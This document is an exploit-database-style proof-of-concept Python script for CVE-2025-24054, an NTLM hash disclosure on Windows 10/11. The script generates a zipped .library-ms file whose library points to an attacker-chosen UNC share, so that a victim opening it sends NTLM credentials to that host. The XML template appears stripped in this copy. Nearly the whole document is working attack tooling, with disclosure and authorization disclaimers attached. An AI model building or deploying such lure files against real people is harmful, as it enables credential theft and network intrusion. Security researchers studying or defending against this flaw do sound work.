# Exploit Title: windows 10/11 - NTLM Hash Disclosure Spoofing # Date: 2025-10-06 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.microsoft.com # Software Link: N/A # Version: Not applicable (this is a generic Windows library file behavior) # Tested on: Windows 10 (x64) / Windows 11 (x64) (lab environment) # CVE: CVE-2025-24054 # Description: # A proof-of-concept that generates a .library-ms XML file pointing to a network # share (UNC). When opened/imported on Windows, the library points to the specified # UNC path. # # Notes: # - This PoC is provided for responsible disclosure only. Do not test against # live/production websites or networks without explicit written permission. # - Attach exactly one exploit file per email (this file). # - Include the .library-ms (or ZIP containing it) as an attachment, plus this header block. #!/usr/bin/env python3 import argparse import ipaddress import os import re import sys import tempfile import zipfile import shutil from pathlib import Path # Very small hostname check (keeps things simple) _HOSTNAME_RE = re.compile( r"^(?:[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?\.)*[A-Za-z0-9\-]{1,63}$" ) # simple sanitizer: allow only a limited charset for base filenames _FILENAME_RE = re.compile(r"^[A-Za-z0-9._-]{1,128}$") def is_valid_target(value: str) -> bool: """ Return True if value looks like an IP address, a hostname, or a UNC path. This is intentionally permissive — it's only to catch obvious typos. """ if value.startswith("\\\\") or value.startswith("//"): # Minimal UNC sanity: ensure there's at least \\host\share (two components) parts = re.split(r"[\\/]+", value.strip("\\/")) return len(parts) >= 2 and all(parts[:2]) try: ipaddress.ip_address(value) return True except ValueError: pass if _HOSTNAME_RE.match(value): return True return False def build_library_xml(target: str) -> str: """ Build the XML content for the .library-ms file. If the user supplies a bare host/IP, the script uses a share called 'shared' (matching the original behavior). """ if target.startswith("\\\\") or target.startswith("//"): # normalize forward slashes to backslashes (if any) url = target.replace("/", "\\") else: url = f"\\\\{target}\\shared" # Return a plain, minimal XML structure (no additional payloads) return f""" {url} """ def write_zip_with_lib(xml_content: str, lib_name: str, zip_path: Path) -> None: """ Write the XML to a temporary .library-ms file and add it into a zip. """ tmpdir = Path(tempfile.mkdtemp(prefix="libgen_")) try: tmp_lib = tmpdir / lib_name tmp_lib.write_text(xml_content, encoding="utf-8") with zipfile.ZipFile(zip_path, mode="w", compression=zipfile.ZIP_DEFLATED) as zf: # place the file at the root of the zip zf.write(tmp_lib, arcname=lib_name) finally: # robust cleanup try: shutil.rmtree(tmpdir) except Exception: pass def sanitize_basename(name: str) -> str: """ Ensure the provided base filename is a short safe token (no path separators). Raises ValueError on invalid names. """ if not name: raise ValueError("Empty filename") if os.path.sep in name or (os.path.altsep and os.path.altsep in name): raise ValueError("Filename must not contain path separators") if not _FILENAME_RE.match(name): raise ValueError( "Filename contains invalid characters. Allowed: letters, numbers, dot, underscore, hyphen" ) return name def main(): parser = argparse.ArgumentParser( description="Generate a .library-ms inside a zip (keep it responsible)." ) parser.add_argument( "--file", "-f", default=None, help="Base filename (without extension). If omitted, interactive prompt is used.", ) parser.add_argument( "--target", "-t", default=None, help="Target IP, hostname or UNC (e.g. 192.168.1.162 or \\\\host\\share).", ) parser.add_argument( "--zip", "-z", default="exploit.zip", help="Output zip filename (default: exploit.zip).", ) parser.add_argument( "--out", "-o", default=".", help="Output directory (default: current directory).", ) parser.add_argument( "--dry-run", action="store_true", help="Print the .library-ms content and exit without creating files.", ) parser.add_argument( "--force", action="store_true", help="Overwrite output zip if it already exists (use with care).", ) args = parser.parse_args() # Interactive fallback if needed if not args.file: try: args.file = input("Enter your file name (base, without extension): ").strip() except EOFError: print("No file name provided.", file=sys.stderr) sys.exit(1) if not args.target: try: args.target = input( "Enter IP or host (e.g. 192.168.1.162 or \\\\host\\share): " ).strip() except EOFError: print("No target provided.", file=sys.stderr) sys.exit(1) # sanitize filename try: safe_base = sanitize_basename(args.file) except ValueError as e: print(f"ERROR: invalid file name: {e}", file=sys.stderr) sys.exit(2) if not args.target or not is_valid_target(args.target): print( "ERROR: target does not look like a valid IP, hostname, or UNC path.", file=sys.stderr, ) sys.exit(2) lib_filename = f"{safe_base}.library-ms" xml = build_library_xml(args.target) # Dry-run: show the content and exit if args.dry_run: print("=== DRY RUN: .library-ms content ===") print(xml) print("=== END ===") print(f"(Would create {lib_filename} inside {args.zip} in {args.out})") return out_dir = Path(args.out).resolve() out_dir.mkdir(parents=True, exist_ok=True) zip_path = out_dir / args.zip if zip_path.exists() and not args.force: print( f"ERROR: {zip_path} already exists. Use --force to overwrite.", file=sys.stderr, ) sys.exit(3) # small reminder about authorization print("Reminder: run tests only against systems you are authorized to test.") write_zip_with_lib(xml, lib_filename, zip_path) print(f"Done. Created {zip_path} containing {lib_filename} -> points to {args.target}") if __name__ == "__main__": main()